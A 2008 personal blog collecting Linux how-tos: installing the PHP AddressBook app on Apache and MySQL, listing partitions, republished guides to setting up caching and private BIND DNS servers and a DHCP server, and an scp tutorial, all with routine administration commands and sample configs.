Tuesday, July 29, 2008

Installing AddressBook

Here we have how to install:


- AddressBook v4.0
- AddressBook v3.1.5


AdressBook v4.0 HOWTO

# Install Apache with it's documentation #####
$ sudo apt-get install apache2 apache2-doc


# Start Apache (it should already be started) #####
$ sudo /etc/init.d/apache2 start


# Test Apache #####

Type in on Mozilla Firefox: http://127.0.0.1/
It should read: It works!

Nota: The page "It works!" is at /var/www,
which is apaches root directory,
so this is where we will put the addressbook.





# Install the needed MySQL e PHP dependencies #####

$ sudo apt-get install mysql-server mysql-client
Type MySQL root password in the upcoming textbox.

$ sudo apt-get install libapache2-mod-php5 libapache2-mod-perl2

$ sudo apt-get install php5 php5-cli php5-common php5-curl php5-dev php5-gd php5-imap php5-ldap

$ sudo apt-get install php5-mhash php5-mysql php5-odbc curl libwww-perl imagemagick


# Download the AdressBook (http://sourceforge.net/projects/php-addressbook/)

$ cd ~/Desktop

$ wget http://downloads.sourceforge.net/php-addressbook/addressbookv4.0.zip?modtime=1212528743&big_mirror=0



# Extrair o AddressBook #####

$ cd ~/Desktop

$ unzip addressbookv4.0.zip



# Install o AdressBook no Apache #####

# Copiar o AdressBook para /var/www (apache root dir)
$ sudo cp -vr addressbookv4.0 /var/www


# Give Apache (apache-user: www-data) permitions over the AddressBook files #####

$ sudo chown www-data -vR /var/www/addressbookv4.0/*



# Configure the AdressBook #####


# Create AddressBook's database #####

$ mysql -u root -p

mysql> create database addressbook_db;

mysql> exit



# Configure AddressBook's connection to the database #####

$ sudo gedit /var/www/addressbookv4.0/config/config.php

No ficheiro:

// Database access definition
// $dbname = "your_database";
// $dbserver = "localhost";
// $dbuser = "username";
// $dbpass = "password";


// Database access definition
$dbname = "addressbook_db";
$dbserver = "localhost";
$dbuser = "root";
$dbpass = "12314467";



# Create the necessary table at the AdressBook's database #####

$ mysql addressbook_db -u root -p < /var/www/addressbookv4.0/addressbook.sql



# Restart Apache #####

$ sudo /etc/init.d/apache2 restart



# Delete the test page #####

$ sudo rm -rf /var/www/index.html



# Configure AdressBook #####

On Mozilla Firefox type in:
http://127.0.0.1/addressbookv4.0 ou http://127.0.0.1/addressbookv4.0/index.php
now just configure addressbook acording to the presented instructions.



AdressBook v3.1.5 HOWTO

# Install Apache with it's documentation #####
$ sudo apt-get install apache2 apache2-doc

# Start Apache (it should already be started) #####
$ sudo /etc/init.d/apache2 start


# Test Apache #####

Type in on Mozilla Firefox: http://127.0.0.1/
It should read: It works!

Nota: The page "It works!" is at /var/www,
which is apaches root directory,
so this is where we will put the addressbook.




#Install the needed MySQL e PHP dependencies #####

$ sudo apt-get install mysql-server mysql-client
Type MySQL root password in the upcoming textbox.

$ sudo apt-get install libapache2-mod-php5 libapache2-mod-perl2

$ sudo apt-get install php5 php5-cli php5-common php5-curl php5-dev php5-gd php5-imap php5-ldap

$ sudo apt-get install php5-mhash php5-mysql php5-odbc curl libwww-perl imagemagick




# Download the AddressBook (http://sourceforge.net/projects/php-addressbook/)

$ cd ~/Desktop

$ wget http://downloads.sourceforge.net/php-addressbook/addressbookv3.1.5.zip?modtime=1212528743&big_mirror=0



# Extract the AddressBook #####

$ cd ~/Desktop

$ unzip addressbookv3.1.5.zip



# Install AddressBook on Apache #####

# Copiar o AdressBook para /var/www (apache root dir)

$ sudo cp -vr addressbookv3.1.5 /var/www


# Give Apache (apache-user: www-data) permitions over the AddressBook files #####

$ sudo chown www-data -vR /var/www/addressbookv4.0/*



# Configure the AdressBook #####

# Create AddressBook's database #####

$ mysql -u root -p

mysql> create database addressbook_db;

mysql> exit



# Configure AddressBook's connection to the database #####

$ sudo gedit /var/www/addressbookv3.1.5/include/config.php

Change the following at the file:

// Database access definition
// $dbname = "your_database";
// $dbserver = "localhost";
// $dbuser = "username";
// $dbpass = "password";


// Database access definition
$dbname = "addressbook_db";
$dbserver = "localhost";
$dbuser = "root";
$dbpass = "12314467";



# Create the necessary table at the AdressBook's database #####

$ mysql addressbook_db -u root -p < /var/www/addressbookv3.1.5/addressbook.sql



# Restart Apache #####

$ sudo /etc/init.d/apache2 restart



# Delete the test page #####

$ sudo rm -rf /var/www/index.html



# Configure AdressBook #####

On Mozilla Firefox type in :

http://127.0.0.1/addressbookv3.1.5
or http://127.0.0.1/addressbookv3.1.5/index.php

now just configure addressbook acording to the presented instructions.

Wednesday, July 23, 2008

List Partitions Information

List Partitions Information


[root@laptop ~]# sudo /sbin/fdisk -lu

Disk /dev/hda: 60.0 GB, 60011642880 bytes
255 heads, 63 sectors/track, 7296 cylinders, total 117210240 sectors
Units = sectors of 1 * 512 = 512 bytes

Device Boot Start End Blocks Id System
/dev/hda1 * 63 20482874 10241406 7 HPFS/NTFS
/dev/hda2 20482875 117065654 48291390 f W95 Ext'd (LBA)
/dev/hda5 20482938 102414374 40965718+ c W95 FAT32 (LBA)
/dev/hda6 115523478 117065654 771088+ 82 Linux swap / Solaris
/dev/hda7 102414438 115523414 6554488+ 83 Linux

Partition table entries are not in disk order

Configure a Linux DNS Server - Cache and Private DNS

Configure a Linux DNS Server - Part I (Caching Name Server)


Not everybody's a Linux hacker straight out of the womb. For those who need a solid example or just want a little advice--no heckling involved--here's another how-to to get you going. We've helped you set up your home web server, so now let's get DNS working so you can have your very own domain.



How to set up a home DNS server
by Shannon Hughes



Domain Name System

The Domain Name System (DNS) is the crucial glue that keeps computer networks in harmony by converting human-friendly hostnames to the numerical IP addresses computers require to communicate with each other. DNS is one of the largest and most important distributed databases the world depends on by serving billions of DNS requests daily for public IP addresses. Most public DNS servers today are run by larger ISPs and commercial companies but private DNS servers can also be useful for private home networks. This article will explore some advantages of setting up various types of DNS servers in the home network.



Why set up a private DNS server?

This question is valid and the answer may vary depending on your home network environment. Maintaining a host file on each client with IP/hostname mappings in a home network that contains a router and a few machines may be sufficient for most users. If your network contains more than a few machines, then adding a private DNS server may be more attractive and worth the setup effort. Some advantages may include:

*

Maintenance: keeping track of the host file for every client in your network can be tedious. In fact, it may not even be feasible for roaming DHCP laptops or your occasional LAN party guests. Maintaining host information in one central area and allowing DNS to manage host names is more efficient.
*

Cache performance: DNS servers can cache DNS information, allowing your clients to acquire DNS information internally without the need to access public nameservers. This performance improvement can add up for tasks such as web browsing.
*

Prototyping: A private internal DNS server is an excellent first step to eventually setting up a public accessible DNS server to access a web server or other services hosted on your internal network. Learning from mistakes on an internal network can help prevent duplicate errors on a public DNS server that could result in loss of service for external users. Note: Some ISPs require customers to have a static IP or business subscription when hosting services in a home network environment.
*

Cool factor: Ok, I may be stretching it, but the "cool" factor did have some influence when I set up my first home network DNS server. Creating an internal domain that reflects an individual's personality without paying a domain registrar and issuing hostnames to your clients is cool. The cool factor doubles when your customized hostname glows from your friend's laptop screen.

Let's start out simply by setting up a caching-only nameserver to handle client DNS requests. A caching-only nameserver won't allow references to internal clients by hostname, but it does allow clients to take advantage of frequently requested domains that are cached.
Caching nameserver

Fortunately, setting up a caching nameserver is easy using RHEL (Red Hat Enterprise Linux) or Fedora RPMs. The following RPMs need to be installed on the machine acting as the nameserver (use rpm -q to determine if these packages are installed):

*

bind (includes DNS server, named)
*

bind-utils (utilities for querying DNS servers about host information)
*

bind-libs (libraries used by the bind server and utils package)
*

bind-chroot (tree of files which can be used as a chroot jail for bind)
*

caching-nameserver (config files for a simple caching nameserver)

A caching nameserver forwards queries to an upstream nameserver and caches the results. Open the file /var/named/chroot/etc/named.conf and add the following lines to the global options section:


forwarders { xxx.xxx.xxx.xxx; xxx.xxx.xxx.xxx; }; #IP of upstream ISP nameserver(s)
forward only; #rely completely on our upstream nameservers


The block above will cause the caching name server to forward DNS requests it can't resolve to your ISP nameserver. Save the named.conf file and then assign 644 permissions:

$ chmod 644 named.conf

Check the syntax using the named-checkconf utility provided by the bind RPM:
named-checkconf named.conf
Correct any syntax errors (watch those semicolons) named-checkconf reports. Monitoring the /var/log/messages file may also be helpful in debugging any errors.


We now need to set the local resolver to point to itself for DNS resolution. Modify the /etc/resolv.conf file to the following:

nameserver 127.0.0.1

If you are running a DHCP server on your router make sure your /etc/resolv.conf file does not get overwritten whenever your DHCP lease is renewed. To prevent this from happening, modify /etc/sysconfig/network-scripts/ifcfg-eth0 (replace eth0 with your network interface if different) and make sure the following settings are set:


BOOTPROTO=dhcp
PEERDNS=no
TYPE=Ethernet


Go ahead and start the nameserver as root and configure to start in runlevels 2-5:

service named start
chkconfig named on
Testing

The bind-utils RPM contains tools we can use to test our caching nameserver. Test your nameserver using host or dig and querying redhat.com:

dig redhat.com
.
.
;; Query time: 42 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)


From the above dig query you can see it took 42 msec to receive the DNS request. Now test out the caching ability of your nameserver by running dig again on the redhat.com domain:

dig redhat.com
.
.
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)


We dropped from 42 msec to 1 msec after the previous DNS query was cached. Caching is working! Let's now put the cache to work by configuring the clients to use the new caching nameserver.
Client Configuration

For Linux and Windows clients you may have a couple of options for your resolver configuration depending on your network environment:

1.

If you have a router and your client's IP address is assigned via DHCP from the router, then you can use the router to assign the primary nameserver during the DHCP lease requested from the client. Log in to your router and make sure your primary nameserver points to your caching nameserver IP address in the router DHCP settings.



2.

For Linux clients, you can set up the resolver in the same procedure as the nameserver by modifying the /etc/resolv.conf file. For Windows clients you will need to set the nameserver IP address in the Control Panel -> Network Connections -> TCP/IP -> Properties -> Use the DNS Server Address option. NOTE: The Windows DNS server option may vary depending on your version.

Test your new client configuration(s) using dig. You can use the nslookup command for Windows clients. Your DNS requests should have similar response times as we saw earlier when testing the nameserver directly.

NOTE: If you are running a firewall on the nameserver system, make sure clients have access to port 53. An example iptables rule for the 192.168.15.0/24 subnet would be:
iptables -A INPUT -s 192.168.15.0/24 -p udp --dport 53 -j ACCEPT
service iptables save



Summary

Your new caching nameserver offers a performance improvement with a minimal amount of set up effort. Clients can now ask the caching nameserver for DNS information, and it only needs to ask the upstream ISP nameserver for cache misses. In the next issue we will setup a master nameserver that is responsible for the authoritative information for our internal client hostnames. An authoritative nameserver also caches by default but additionally allows managing both static and DHCP clients using personalized hostnames set up in zone files. In the meantime, enjoy your new caching nameserver and be thinking about a creative domain and hostname theme for your future authoritative nameserver.


Configure a Linux DNS Server - Part II (Private DNS Server)


Welcome back
In the first part of this series on the Domain Name System (DNS), we set up a caching nameserver that allowed our clients to take advantage of faster network operations by caching frequently requested DNS queries. In this article, we will extend our caching nameserver to a master nameserver that is responsible for managing the authoritative information for our internal client hostnames.



Overview

As with our caching-only nameserver, we will see that BIND RPMS packaged by Red Hat® Enterprise Linux® and Fedora ease the process of configuring our master nameserver. Adding authoritative responsibility to the caching-only nameserver only requires us to add two more files and modify the existing named.conf file. For the purpose of this article we will assume the following:


* The BIND 9.x RPMS discussed in Part 1 are installed on the machine that will serve as a nameserver.
* Our internal network is in the 192.168.15.0/24 subnet. You will need to substitute your subnet if different.
* The master nameserver will only allow DNS queries from internal clients in the 192.168.15.0/24 subnet.
* The master nameserver will continue to forward any DNS requests it can't answer to your upstream ISP nameserver(s).
* We will use the domain hughes.lan as our internal domain name.


You might notice that we selected a mock top-level domain (sometimes referred as a TLD) named lan. Our internal domain name can be as creative as we wish since the domain is only known inside our home network. The naming convention for a public nameserver is not as relaxed, since we would need to follow certain rules that would allow our nameserver to respond to other nameservers requesting host information from around the world.



Zones

Nameservers store information about a domain namespace in files called zone data files. A zone data file contains all the resource records that describe the domain represented in the zone. The resource records further describe all the hosts in the zone. We will need to modify our existing named.conf to reference two zone files for our domain name:

* Forward zone definitions that map hostnames to IP addresses.
* Reverse zone definitions that map IP addresses to hostnames.

Open /var/named/chroot/etc/named.conf and add the following forward and reverse zone file directives:

# Forward Zone for hughes.lan domain
zone "hughes.lan" IN {
type master;
file "hughes.lan.zone";
};

# Reverse Zone for hughes.lan domain
zone "15.168.192.in-addr.arpa" IN {
type master;
file "192.168.15.zone";
};

Both the forward and reverse zones contain the type master indicating that our nameserver is the master or primary nameserver for the hughes.lan domain. The file keyword indicates which zone file contains the resource records for the corresponding zone. Note that the reverse zone contains a special domain named in-addr-arpa. DNS uses this special domain to support IP to hostname mappings. Reverse lookups are backwards since the name is read from the leaf to the root (imagine a domain name as a tree structure) so the resultant domain name has the topmost element at the right-hand side. For a home network the reverse lookup zones can be considered optional but we will include them for completeness.

Included with the BIND RPMs is a root zone nameservers use when a query is unresolvable by any other configured zones. The root zone directive is named ".", has a type of hint and references a file named named.ca that contains a list of 13 root name servers located around the world. We will not directly use the root servers since we are forwarding any unresolvable queries to our ISP nameservers.

We need to modify the named.conf global options to allow our internal clients to query the nameserver. Modify the existing global options block to the following:

acl hughes-lan { 192.168.15.0/24; 127.0/8; };
options {
directory "/var/named";
allow-query { hughes-lan; };
forwarders { xxx.xxx.xxx.xxx; xxx.xxx.xxx.xxx; }; # ISP primary/secondary
forward-only; # Rely completely on ISP for cache misses
};

The acl statement above sets up a range of IP addresses we can reference throughout the named.conf file. The allow-query specifies IP addresses of hosts that can query our nameserver. The forwarders statement tells our nameserver to forward any unresolvable queries to our upstream nameservers. The forward-only statement restricts our nameserver to only rely on our ISP nameservers and not contact other nameservers to find information that our ISP can not provide. It's very rare for a primary and secondary ISP nameserver to be down at the same time but you can comment forward-only if you want your nameserver to try the root nameservers when the upstream ISP nameservers cannot resolve a hostname.



Zone files

We are now ready to start defining our hostname mappings in the zone files we referenced in the named.conf configuration. Zone files need to be placed in the /var/named/chroot/var/named directory, have 644 permissions with an owner and group of named:

$ cd /var/named/chroot/var/named
$ touch hughes.lan.zone
$ chown named:named hughes.lan.zone
$ chmod 644 hughes.lan.zone

Let's take a look at an example zone file for the hughes.lan forward zone and then dive into the various parts:

$TTL 1D

hughes.lan. IN SOA velma.hughes.lan. foo.bar.tld. (
200612060 ; serial
2H ; refresh slaves
5M ; retry
1W ; expire
1M ; Negative TTL
)

@ IN NS velma.hughes.lan.

velma.hughes.lan. IN A 192.168.15.10 ; RHEL server
fred.hughes.lan. IN A 192.168.15.1 ; router
scooby.hughes.lan. IN A 192.168.15.2 ; upstairs WAP
shaggy.hughes.lan. IN A 192.168.15.3 ; downstairs WAP
scooby-dum.hughes.lan. IN A 192.168.15.4 ; Fedora desktop
daphne.hughes.lan. IN A 192.168.15.5 ; network printer
mysterymachine IN A 192.168.15.6 ; mail server
scrappy IN A 192.168.15.7 ; Windows box
; aliases
www IN CNAME velma.hughes.lan. ; WWW server
virtual IN CNAME velma ; virtual WWW tests
mail IN CNAME mysterymachine ; sendmail host

; DHCP Clients
dhcp01.hughes.lan. IN A 192.168.15.100
dhcp02.hughes.lan. IN A 192.168.15.101
dhcp03.hughes.lan. IN A 192.168.15.102
dhcp04.hughes.lan. IN A 192.168.15.103
dhcp05.hughes.lan. IN A 192.168.15.104

@ IN MX 10 mail.hughes.lan.

The very first line in the hughes.lan.zone contains the TTL (Time To Live) value and is set to one day. TTL is used by nameservers to know how long to cache nameserver responses. This value would have more meaning if our nameserver was public and had other external nameservers depending on our domain information. Notice the 'D' in the TTL value stands for Day. Bind also uses 'W' for weeks, 'H' for hours, and 'M' for minutes.

The first resource record is the SOA (Start Of Authority) Record which indicates that this nameserver is the best authoritative resource for the hughes.lan domain. The IN stands for Internet Class and is optional. The first hostname after the SOA is the name of our master or primary nameserver. The second name, "foo.bar.tld.", is the email address for the person in charge of this zone. Notice the '@' is replaced with a '.' and also ends with a '.'. The third value is the serial number that indicates the current revision, typically in the YYYYMMDD format with a single digit at the end indicating the revision number for that day. The fourth, fifth, sixth, and seventh values can be ignored for the purposes of this article.

The NS record lists each authoritative nameserver for the current zone. Notice the first '@' character in this line. The '@' character is a short-hand way to reference the domain, hughes.lan, that was referenced in the named.conf configuration file for this zone.

The next block of A records contains our hostname to address mappings. The CNAME records act as aliases to previously defined A records. Notice how fully qualified domains end with a '.'. If the '.' is omitted then the domain, hughes.lan, is appended to the hostname. In our example the hostname, scrappy, will become scrappy.hughes.lan

If you want to reference an internal mail server, then add a MX record that specifies a mail exchanger. The MX value "10" in our example indicates the preference value (number between 0 and 65535) for this mail exchanger's priority. Clients try the highest priorty exchanger first.

The reverse zone file, 192.168.15.zone, is similar to our forward zone but contains PTR records instead of A records:


$TTL 1D

@ IN SOA velma.hughes.lan. foo.bar.tld. (
200612060 ; serial
2H ; refresh slaves
5M ; retry
1W ; expire
1M ; Negative TTL
)

IN NS velma.hughes.lan.
10 IN PTR velma.hughes.lan.
1 IN PTR fred.hughes.lan.
2 IN PTR scooby.hughes.lan.
3 IN PTR shaggy.hughes.lan.
4 IN PTR scooby-dum.hughes.lan.
5 IN PTR daphne.hughes.lan.
6 IN PTR mysterymachine.hughes.lan.
7 IN PTR scrappy.hughes.lan.

100 IN PTR dhcp01.hughes.lan.
101 IN PTR dhcp02.hughes.lan.
102 IN PTR dhcp03.hughes.lan.
103 IN PTR dhcp04.hughes.lan.
104 IN PTR dhcp05.hughes.lan.



Testing

Save your zone files, make sure you have the correct permissions and check the syntax using named-checkzone:

named-checkzone hughes.lan hughes.lan.zone
named-checkzone 15.168.192.in-addr.arpa 192.168.15.zone

Correct any syntax errors reported by named-checkzone.



Restart the nameserver:

service named restart

Browse through the tail of the /var/log/messages file and confirm the domain loaded successfully.



Make the following DNS queries (substituting your domain):

dig scooby.hughes.lan
dig -x 192.168.15.2


Your output should be similar to the following:

.
.
.

;; QUESTION SECTION:
;scooby.hughes.lan. IN A

;; ANSWER SECTION:
scooby.hughes.lan. 86400 IN A 192.168.15.2

;; AUTHORITY SECTION:
hughes.lan. 86400 IN NS velma.hughes.lan.

;; ADDITIONAL SECTION:
velma.hughes.lan. 86400 IN A 192.168.15.10
.
.
.

Continue to test each host you added to the zone file and then enjoy your new master nameserver.



Conclusion

The goal of this series of DNS articles was to pick the high-level features DNS can offer to improve the efficiency and management of the home network. In addition to the performance improvement we saw with the caching nameserver, the master nameserver helps manage both static and dynamic clients using human-friendly hostnames instead of IP addresses. For readers interested in learning more about DNS or expanding the nameservers discussed in this series, checkout the following resources:

* BIND user documenation located in /usr/share/doc/bind-9.x.x
* DNS and BIND (5th Edition)


About the author

Shannon Hughes is a Red Hat Network (RHN) engineer who enjoys using open source software to solve the most demanding software projects. When he is not cranking out code, tweaking servers, or coming up with new RHN projects, you can find him trying to squeeze in yet another plant in the yard/garden with his wife, watching Scooby Doo reruns with his two kids and dog, or incorporating the latest open source projects for his church.

Copyright © 2006 Red Hat, Inc. All rights reserved.
Privacy Policy : Terms of Use : Patent promise : Company : Contact
Log in to Your Account


Taken From: http://www.redhat.com/magazine/025nov06/features/dns/
http://www.redhat.com/magazine/026dec06/features/dns/



A much more complete howto can be found at: http://www.aboutdebian.com/dns.htm

Configure a Linux DHCP Server

Configure a DHCP Server


Introduction

Normally if you have a cable modem or DSL, you get your home PC's IP address dynamically assigned from your service provider. If you install a home cable/DSL router between your modem and home network, your PC will most likely get its IP address at boot time from the home router instead. You can choose to disable the DHCP server feature on your home router and set up a Linux box as the DHCP server.

This chapter covers only the configuration of a DHCP server that provides IP addresses. The configuration of a Linux DHCP client that gets its IP address from a DHCP server is covered in Chapter 3, "Linux Networking", on Linux Networking.
Download and Install the DHCP Package

Most RedHat and Fedora Linux software products are available in the RPM format. Downloading and installing RPMs aren't hard. If you need a refresher, Chapter 6, "Installing Linux Software", covers how to do this in detail.

When searching for the file, remember that the DHCP server RPM's filename usually starts with the word dhcp followed by a version number like this: dhcp-3.0.1rc14-1.i386.rpm.

Debian Note: With Debian / Ubuntu the package name may include a version number. Use the dpkg --list | grep dhcp command to get a list of all your dhcp packages and use the output to infer what the DHCP server package name would be. In this case we can guess that the package name should be dhcp3-server. If you need a DEB package installation refresher you can take a look at Chapter 6, "Installing Linux Software".

root@u-bigboy:/tmp# dpkg --list | grep dhcp
ii dhcp3-client 3.0.3-6ubuntu7 DHCP Client
ii dhcp3-common 3.0.3-6ubuntu7 Files used by all the dhcp3* packages
root@u-bigboy:/tmp#

The /etc/dhcpd.conf File

When DHCP starts, it reads the file /etc/dhcpd.conf. It uses the commands here to configure your network. The standard DHCP RPM package doesn't automatically install a /etc/dhcpd.conf file, but you can find a sample copy of dhcpd.conf in the following directory which you can always use as a guide.

/usr/share/doc/dhcp-/dhcpd.conf.sample

You have to copy the sample dhcpd.conf file to the /etc directory and then you'll have to edit it. Here is the command to do the copying for the version 3.0p11 RPM file:

[root@bigboy tmp]# cp /usr/share/doc/dhcp-3.0pl1/dhcpd.conf.sample /etc/dhcpd.conf

Debian Note: With Debian / Ubuntu the configuration file name is /etc/dhcp*/dhcpd.conf and has the same syntax as that used by Redhat / Fedora.

Here is a quick explanation of the dhcpd.conf file: Most importantly, there must be a subnet section for each interface on your Linux box.



ddns-update-style interim
ignore client-updates

subnet 192.168.1.0 netmask 255.255.255.0 {

# The range of IP addresses the server
# will issue to DHCP enabled PC clients
# booting up on the network

range 192.168.1.201 192.168.1.220;

# Set the amount of time in seconds that
# a client may keep the IP address

default-lease-time 86400;
max-lease-time 86400;

# Set the default gateway to be used by
# the PC clients

option routers 192.168.1.1;
# Don't forward DHCP requests from this
# NIC interface to any other NIC
# interfaces

option ip-forwarding off;

# Set the broadcast address and subnet mask
# to be used by the DHCP clients

option broadcast-address 192.168.1.255;
option subnet-mask 255.255.255.0;

# Set the DNS server to be used by the
# DHCP clients

option domain-name-servers 192.168.1.100;

# Set the NTP server to be used by the
# DHCP clients

option nntp-server 192.168.1.100;

# If you specify a WINS server for your Windows clients,
# you need to include the following option in the dhcpd.conf file:

option netbios-name-servers 192.168.1.100;

# You can also assign specific IP addresses based on the clients'
# ethernet MAC address as follows (Host's name is "laser-printer":

host laser-printer {
hardware ethernet 08:00:2b:4c:59:23;
fixed-address 192.168.1.222;
}
}
#
# List an unused interface here
#
subnet 192.168.2.0 netmask 255.255.255.0 {
}

There are many more options statements you can use to configure DHCP. These include telling the DHCP clients where to go for services such as finger and IRC. Check the dhcp-options man page after you do your install:

[root@bigboy tmp]# man dhcp-options

Note: The host statement seen in the sample dhcpd.conf file can be very useful. Some devices such as network printers default to getting their IP addresses using DHCP, but users need to access them by a fixed IP address to print their documents. This statement can be used to always provide specific IP address to DHCP queries from a predefined a NIC MAC address. This can help to reduce systems administration overhead.



How to Get DHCP Started

To get DHCP started:

1) Some older Fedora/RedHat versions of the DHCP server will fail unless there is an existing dhcpd.leases file. Use the command touch /var/lib/dhcp/dhcpd.leases to create the file if it does not exist.

[root@bigboy tmp]# touch /var/lib/dhcp/dhcpd.leases

2) Use the chkconfig command to get DHCP configured to start at boot:

[root@bigboy tmp]# chkconfig dhcpd on

With Debian / Ubuntu the equivalent command for the dhcp3-server package would be:

root@u-bigboy:/tmp# sysv-rc-conf dhcp3-server on

3) Use the service command to instruct the /etc/init.d/dhcpd script to start/stop/restart DHCP after booting

[root@bigboy tmp]# service dhcpd start
[root@bigboy tmp]# service dhcpd stop
[root@bigboy tmp]# service dhcpd restart

With Debian / Ubuntu the equivalent commands would be:

root@u-bigboy:/tmp# /etc/init.d/dhcp*-server start
root@u-bigboy:/tmp# /etc/init.d/dhcp*-server stop
root@u-bigboy:/tmp# /etc/init.d/dhcp*-server restart

4) Remember to restart the DHCP process every time you make a change to the conf file for the changes to take effect on the running process. You also can test whether the DHCP process is running with the following command; you should get a response of plain old process ID numbers:

[root@bigboy tmp]# pgrep dhcpd

5) Finally, always remember to set your PC to get its IP address via DHCP.




DHCP Servers with Multiple NICs (Network Interfaces)

When a DHCP configured PC boots, it requests its IP address from the DHCP server. It does this by sending a standardized DHCP broadcast request packet to the DHCP server with a source IP address of 255.255.255.255.

If your DHCP server has more than one interface, you have to add a route for this 255.255.255.255 address so that it knows the interface on which to send the reply; if not, it sends it to the default gateway. (In both of the next two examples, we assume that DHCP requests will be coming in on interface eth0).

Note: More information on adding Linux routes and routing may be found in Chapter 3, "Linux Networking".

Note: You can't run your DHCP sever on multiple interfaces because you can only have one route to network 255.255.255.255. If you try to do it, you'll discover that DHCP serving working on only one interface.



Temporary Solution

You can temporarily add a route to 255.255.255.255 using the route add command as seen below.

[root@bigboy tmp]# route add -host 255.255.255.255 dev eth0

If you want this routing state to be maintained after a reboot, then use the permanent solution that's discussed next.


Permanent Solution

The new Fedora Linux method of adding static routes doesn't seem to support sending traffic out an interface that's not destined for a specific gateway IP address. The DHCP packet destined for address 255.255.255.255 isn't intended to be relayed to a gateway, but it should be sent using the MAC address of the DHCP client in the Ethernet frame.

You have one of two choices. Add the route add command to your /etc/rc.local script, or add an entry like this to your /etc/sysconfig/static-routes file.

#
# File /etc/sysconfig/static-routes
#
eth0 host 255.255.255.255

Note: The /etc/sysconfig/static-routes file is a deprecated feature and Fedora support for it will eventually be removed.

Now that you have configured your server, it's time to take a look at the DHCP clients.



Configuring Linux Clients to Use DHCP

A Linux NIC interface can be configured to obtain its IP address using DHCP with the examples outlined in , "Linux Networking". Please refer to this chapter if you need a quick refresher on how to configure a Linux DHCP client.



Configuring Windows Clients to Use DHCP

Fortunately Windows defaults to using DHCP for all its NIC cards so you don't have to worry about doing any reconfiguration.
Using a Single DHCP Server to Serve Multiple Networks

As stated before, DHCP clients send their requests for IP addresses to a broadcast address which is limited to the local LAN. This would imply that a DHCP server is required on each subnet. Not so. It is possible to configure routers to forward DHCP requests to a DHCP server many hops away. This is done by inserting the IP address of the router's interface on the DHCP client's network into the forwarded packet. To the DHCP server, the non-blank router IP address field takes precedence over the broadcast address and it uses this value to provide a DHCP address that is meaningful to the client. The DHCP server replies with a broadcast packet, and the router, which has kept track of the initial forwarded request, forwards it back towards the client. You can configure this feature on Cisco devices by using the ip helper-address command on all the interfaces on which DHCP clients reside. Here is a configuration sample that points to a DHCP server with the IP address 192.168.36.25:

interface FastEthernet 2/1
ip address 192.168.1.30 255.255.255.0
ip helper-address 192.168.36.25



Simple DHCP Troubleshooting

The most common problems with DHCP usually aren't related to the server; after the server is configured correctly there is no need to change any settings and it therefore runs reliably. The problems usually occur at the DHCP client's end for a variety of reasons. The following sections present simple troubleshooting steps that you can go through to ensure that DHCP is working correctly on your network.



DHCP Clients Obtaining 169.254.0.0 Addresses

Whenever Microsoft DHCP clients are unable to contact their DHCP server they default to selecting their own IP address from the 169.254.0.0 network until the DHCP server becomes available again. This is frequently referred to as Automatic Private IP Addressing (APIPA). Here are some steps you can go through to resolve the problem:

* Ensure that your DHCP server is configured correctly and use the pgrep command discussed earlier to make sure the DHCP process is running. Pay special attention to your 255.255.255.255 route, especially if your DHCP server has multiple interfaces.
* Give your DHCP client a static IP address from the same range that the DHCP server is supposed to provide. See whether you can ping the DHCP server. If you cannot, double-check your cabling and your NIC cards.
* DHCP uses the BOOTP protocol for its communication between the client and server. Make sure there are no firewalls blocking this traffic. DHCP servers expect requests on UDP port 67 and the DHCP clients expect responses on UDP port 68.



Conclusion

In most home-based networks, a DHCP server isn't necessary because the DSL router / firewall usually has DHCP capabilities, but it is an interesting project to try. Just remember to make sure that the range of IP addresses issued by all DHCP servers on a network doesn't overlap because it could possibly cause unexpected errors. You might want to disable the router/firewall's DHCP server capabilities to experiment with your new Linux server.

A DHCP server may be invaluable in an office environment where the time and cost of getting a network engineer to get the work done may make it simpler for Linux systems administrators to do it by themselves.

Creating a Linux DHCP server is straightforward and touches all the major themes in the previous chapters. Now it's time to try something harder, but before we do, we'll do a quick refresher on how to create the Linux users who'll be using many of the applications outlined in the rest of the book.


Taken From: "http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch08_:_Configuring_the_DHCP_Server"

Scp - Secure File Transfer (using ssh) Between UNIX Machines

Scp - Secure File Transfer (using ssh) between UNIX machines

Introduction and setup

Scp is a utility which allows files to be copied between machines. Scp is an updated version of an older utility named Rcp. It works the same, except that information (including the password used to log in) is encrypted. Also, if you have set up your .shosts file to allow you to ssh between machines without using a password as described in help on setting up your .shosts file, you will be able to scp files between machines without entering your password.
Usage of the Scp Command



The general form of the command is:

$ scp source-specification destination-specification

where source-specification indicates which file or directory is to be copied, and destination-specification indicates where the copied material is to be placed.

Either the source or the destination may be on the remote machine; i.e., you may copy files or directories into the account on the remote system OR copy them from the account on the remote system into the account you are logged into.



Example:

$ scp myfile xyz@sdcc7:myfile


To copy a directory, use the -r (recursive) option. Example:

$ scp -r mydir xyz@sdcc7:mydir



File Specification Formats

The format for the remote specification (source or destination) is:

user@machine:filename

where filename is the name (path) of the file or directory relative to the home (login) directory on the remote system.



The format for file specification on the local system is just:

filename


where fname is the name (path) relative to the current working directory on that system.
How scp is similar to cp

Just like the cp command, scp will overwrite an existing destination file. In addition, if the destination is an existing directory, the copied material will be placed beneath the directory.
Examples of remote file copies

1. While logged into xyz on sdcc7, copy file "letter" into file "application" in remote account abc on sdcc3:

$ scp letter abc@sdcc3:application


2. While logged into abc on sdcc3, copy file "foo" from remote account xyz on sdcc7 into filename "bar" in abc:

$ scp xyz@sdcc7:foo bar


3. While logged into account xyz on sdcc7, copy file "garfield" from subdirectory "comix" into filename "fatcat" in subdirectory "stuff" in remote account abc on sdcc3:

$ scp comix/garfield abc@sdcc3:stuff/fatcat


4. While logged into account abc on sdcc3, copy file "garfield" from subdirectory "comix" of account xyz on sdcc7 into subdirectory "stuff" with the same name "garfield":

$ scp xyz@sdcc7:comix/garfield stuff


5. While logged into account abc on sdcc3 , copy subdirectory "Section" into a new subdirectory called "Section" in existing subdirectory "Chapter" in account xyz on sdcc7:

$ scp -r Section xyz@sdcc7:Chapter


6. From account abc on sdcc3, copy entire account to ir123 on iacs5. This needs to be done from the parent directory of the account to be moved.

$ cd
$ cd ..
$ scp -r abc ir123@iacs5:abc



For more information about the scp (secure copy) command, check the on-line manual page for scp:

$ man scp

Sincronize Folders With Rsync Using SSH and Cron

Sincronize Folders With Rsync Using SSH and Cron


